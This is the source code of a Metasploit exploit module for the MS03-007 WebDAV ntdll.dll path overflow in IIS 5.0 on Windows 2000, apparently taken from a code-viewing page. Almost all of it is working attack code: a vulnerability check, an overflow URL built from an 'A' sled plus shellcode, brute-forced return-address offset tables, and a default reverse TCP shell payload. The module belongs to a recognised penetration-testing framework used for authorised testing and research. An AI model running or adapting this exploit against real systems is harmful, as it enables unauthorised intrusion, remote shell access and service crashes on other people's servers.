Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/iis/ms03_007_ntdll_webdav.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => 'MS03-007 Microsoft IIS 5.0 WebDAV ntdll.dll Path Overflow',15'Description' => %q{16This exploits a buffer overflow in NTDLL.dll on Windows 200017through the SEARCH WebDAV method in IIS. This particular18module only works against Windows 2000. It should have a19reasonable chance of success against SP0 to SP3.20},21'Author' => [ 'hdm' ],22'License' => MSF_LICENSE,23'References' => [24['CVE', '2003-0109'],25['OSVDB', '4467'],26['BID', '7116'],27['PACKETSTORM', '30939'],28['MSB', 'MS03-007']29],30'Privileged' => false,31'Payload' => {32'Space' => 512,33'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",34'StackAdjustment' => -350035},36'Platform' => 'win',37'Arch' => [ARCH_X86],38'Targets' => [39[ 'Automatic Brute Force', {} ],40],41'DefaultOptions' => {42'PAYLOAD' => 'windows/shell/reverse_tcp'43},44'Notes' => {45'Reliability' => [REPEATABLE_SESSION],46'Stability' => [CRASH_SERVICE_DOWN],47'SideEffects' => [IOC_IN_LOGS]48},49'DisclosureDate' => '2003-05-30',50'DefaultTarget' => 051)52)5354register_evasion_options(55[56# XXX: We don't have a style for module-local evasion settings yet, so use Advanced's formatting57OptBool.new('InvalidSearchRequest', [false, 'Replace the valid XML search with random data', false]),5859# XXX - ugh, there has to be a better way to remove entries from an60# enum that overwriting the evalable enum option61OptEnum.new('HTTP::uri_encode', [false, 'Enable URI encoding', 'none', ['none', 'hex-normal'], 'none'])62], self.class63)6465deregister_options('HTTP::junk_params', 'HTTP::header_folding')66end6768def autofilter69# Common vulnerability scanning tools report port 445/13970# due to how they test for the vulnerability. Remap this71# back to 80 for automated exploitation7273rport = datastore['RPORT'].to_i74if (rport == 139 || rport == 445)75datastore['RPORT'] = 8076end7778true79end8081def check82# Verify the service is running first83res = send_request_raw({ 'uri' => '/' }, 5)84return CheckCode::Safe('Connection failed') unless res8586xml = "<?xml version=\"1.0\"?>\r\n"87xml << "<g:searchrequest xmlns:g=\"DAV:\">\r\n"88xml << "<g:sql>\r\n"89xml << "Select \"DAV:displayname\" from scope()\r\n"90xml << "</g:sql>\r\n"91xml << "</g:searchrequest>\r\n"9293response = send_request_cgi({94'uri' => "/#{'x' * 65535}",95'ctype' => 'text/xml',96'method' => 'SEARCH',97'data' => xml98}, 5)99100if response && response.body.to_s.include?('Server Error(exception')101return CheckCode::Vulnerable("We've hit a server error (exception)")102end103104# Request-URI Too Long105if response && response.code == 414106return CheckCode::Safe("The server returned #{response.code} (#{response.message})")107end108109# Did the server stop accepting requests?110begin111send_request_raw({ 'uri' => '/' }, 5)112rescue StandardError113return CheckCode::Appears('The server stopped accepting requests') unless res114end115116CheckCode::Safe117end118119def exploit120# Verify the service is running first121res = send_request_raw({ 'uri' => '/' }, 5)122fail_with(Failure::Unreachable, 'Connection failed') unless res123124# Common offsets125common_offsets = [126"\x4f\x4e", # Windows 2000 Server / Professional (SP3 Universal(?) + some Server SP0/SP1/SP2)127"\x4f\xce", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 HU / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)128"\x41\xce", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 HU / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP1 SE / SP2 EN)129"\x41\x43", # Windows 2000 Server (SP1 EN / SP2 EN / SP2 RU)130"\x41\xb4", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 AR / SP1 EN / SP2 EN / SP2 FR / SP2 PT)131"\x41\xb8", # Windows 2000 Professional (SP0 EN / SP0 FI / SP0 NL / SP0 TR / SP1 CZ / SP2 FR / SP2 PT)132]133134# Generic Bruteforce - Windows 2000 Professional135pro_offsets = [136"\x41\xa8", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 EN / SP2 EN / SP2 FR / SP2 PT)137"\x41\xa9", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 AR / SP1 EN / SP2 EN / SP2 FR / SP2 PT)138"\x41\xaa", # Windows 2000 Professional (SP1 EN / SP2 FR / SP2 PT)139"\x41\xab", # Windows 2000 Professional (SP1 AR)140"\x41\xac", # Windows 2000 Professional (SP0 FI)141"\x41\xad", # Windows 2000 Professional (SP0 FI / SP0 TR / SP1 CZ)142"\x41\xae", # Windows 2000 Professional (SP0 FI / SP0 TR / SP1 CZ)143"\x41\xaf",144145"\x41\xb0",146"\x41\xb1", # Windows 2000 Professional (SP0 EN)147"\x41\xb2", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 EN / SP2 EN / SP2 PT)148"\x41\xb3", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 AR / SP1 EN / SP2 FR / SP2 PT)149"\x41\xb4", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 AR / SP1 EN / SP2 EN / SP2 FR / SP2 PT)150"\x41\xb5", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 AR / SP2 EN / SP2 FR / SP2 PT)151"\x41\xb6", # Windows 2000 Professional (SP0 NL / SP1 AR / SP2 FR / SP2 PT)152"\x41\xb7", # Windows 2000 Professional (SP0 EN / SP0 FI / SP0 TR / SP1 AR / SP1 CZ / SP2 FR)153"\x41\xb8", # Windows 2000 Professional (SP0 EN / SP0 FI / SP0 NL / SP0 TR / SP1 CZ / SP2 FR / SP2 PT)154"\x41\xb9", # Windows 2000 Professional (SP0 FI / SP0 NL / SP0 TR / SP1 AR / SP2 FR / SP2 PT)155"\x41\xba", # Windows 2000 Professional (SP0 EN / SP0 FI / SP0 TR / SP2 FR)156"\x41\xbb", # Windows 2000 Professional (SP0 FI / SP0 NL / SP0 TR / SP1 CZ / SP2 PT)157"\x41\xbc", # Windows 2000 Professional (SP0 FI / SP1 AR / SP2 FR)158"\x41\xbd", # Windows 2000 Professional (SP0 FI / SP0 TR)159"\x41\xbe", # Windows 2000 Professional (SP0 TR)160"\x41\xbf", # Windows 2000 Professional (SP0 FI)161]162163# Generic Bruteforce - Windows 2000 Server164server_offsets = [165"\x4f\xc0", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT)166"\x4f\xc1", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)167"\x4f\xc2", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)168"\x4f\xc3", # Windows 2000 Server (SP1 EN / SP2 EN)169"\x4f\xc4", # Windows 2000 Server (SP2 EN)170"\x4f\xc5", # Windows 2000 Server (SP0 ES / SP0 TR)171"\x4f\xc6", # Windows 2000 Server (SP0 ES / SP0 TR / SP1 SE)172"\x4f\xc7", # Windows 2000 Server (SP0 ES / SP0 HU / SP0 TR / SP1 SE)173"\x4f\xc8", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 SE)174"\x4f\xc9", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)175"\x4f\xca", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)176"\x4f\xcb", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP0 TR / SP1 EN / SP2 EN)177"\x4f\xcc", # Windows 2000 Server (SP0 DE / SP1 EN / SP2 EN)178"\x4f\xcd", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 HU / SP0 IT / SP0 NL / SP0 PT / SP0 TR)179"\x4f\xce", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 HU / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)180"\x4f\xcf", # Windows 2000 Server (SP0 ES / SP0 TR / SP1 EN / SP2 EN)181182"\x4f\x40",183"\x4f\x41",184"\x4f\x42", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT)185"\x4f\x43", # Windows 2000 Server (SP1 EN / SP2 EN / SP2 RU)186"\x4f\x44",187"\x4f\x45",188"\x4f\x46",189"\x4f\x47", # Windows 2000 Server (SP0 ES / SP0 HU / SP0 TR)190"\x4f\x48",191"\x4f\x49",192"\x4f\x4a",193"\x4f\x4b",194"\x4f\x4c",195"\x4f\x4d",196"\x4f\x4e", # Windows 2000 Server / Professional (SP3 Universal(?) + some Server SP0/SP1/SP2)197"\x4f\x4f",198199"\x41\x40",200"\x41\x41",201"\x41\x42", # Windows 2000 Server (SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT)202"\x41\x43", # Windows 2000 Server (SP1 EN / SP2 EN / SP2 RU)203"\x41\x44",204"\x41\x45",205"\x41\x46",206"\x41\x47", # Windows 2000 Server (SP0 ES / SP0 HU)207"\x41\x48", # Windows 2000 Server (SP1 SE)208"\x41\x49",209"\x41\x4a",210"\x41\x4b",211"\x41\x4c",212"\x41\x4d",213"\x41\x4e",214"\x41\x4f",215216"\x41\xc0", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT)217"\x41\xc1", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)218"\x41\xc2", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)219"\x41\xc3", # Windows 2000 Server (SP1 EN / SP2 EN)220"\x41\xc4", # Windows 2000 Server (SP2 EN)221"\x41\xc5", # Windows 2000 Server (SP0 ES / SP0 TR)222"\x41\xc6", # Windows 2000 Server (SP0 ES / SP0 TR / SP1 SE)223"\x41\xc7", # Windows 2000 Server (SP0 ES / SP0 HU / SP0 TR / SP1 SE)224"\x41\xc8", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 SE)225"\x41\xc9", # Windows 2000 Server (SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)226"\x41\xca", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)227"\x41\xcb", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)228"\x41\xcc", # Windows 2000 Server (SP0 DE / SP1 EN / SP2 EN)229"\x41\xcd", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 IT / SP0 HU / SP0 NL / SP0 PT / SP0 TR)230"\x41\xce", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 HU / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP1 SE / SP2 EN)231"\x41\xcf", # Windows 2000 Server (SP0 DE / SP0 ES / SP0 NL / SP0 TR / SP1 EN / SP1 SE / SP2 EN)232]233234if datastore['InvalidSearchRequest']235xml = rand_text(32..1056)236else237xml = "<?xml version=\"1.0\"?>\r\n"238xml << "<g:searchrequest xmlns:g=\"DAV:\">\r\n"239xml << "<g:sql>\r\n"240xml << "Select \"DAV:displayname\" from scope()\r\n"241xml << "</g:sql>\r\n"242xml << "</g:searchrequest>\r\n"243end244245# The nop generator can be cpu-intensive for large buffers, so we use a static sled of 'A'246# This decodes to "inc ecx"247url = 'A' * (65_516 - payload.encoded.length)248url << payload.encoded249250offsets = common_offsets.concat(server_offsets).concat(pro_offsets).uniq251252offsets.each_with_index do |ret, index|253print_status("Trying return address #{format('0x%.8x', Rex::Text.to_unicode(ret).unpack('V*').first)} (#{index + 1} / #{offsets.length})...")254url[283, 2] = ret255256begin257send_request_cgi({258'uri' => "/#{url}",259'ctype' => 'text/xml',260'method' => 'SEARCH',261'data' => xml262}, 5)263rescue StandardError => e264print_error("Attempt failed: #{e}")265end2662671.upto(8) do |_i|268select(nil, nil, nil, 0.25)269break if session_created?270end271272break if session_created?273274fail_with(Failure::Unreachable, 'Giving up, IIS must have completely crashed') unless service_running?275end276end277278# Try connecting to the server up to 20 times, with a two second gap279# This gives the server time to recover after a failed exploit attempt280def service_running?281print_status('Checking if IIS is back up after a failed attempt...')2821.upto(20) do |i|283break if session_created?284285return true if send_request_raw({ 'uri' => '/' }, 5)286287print_error("Connection failed (#{i} of 20)...")288select(nil, nil, nil, 2)289end290false291end292end293294295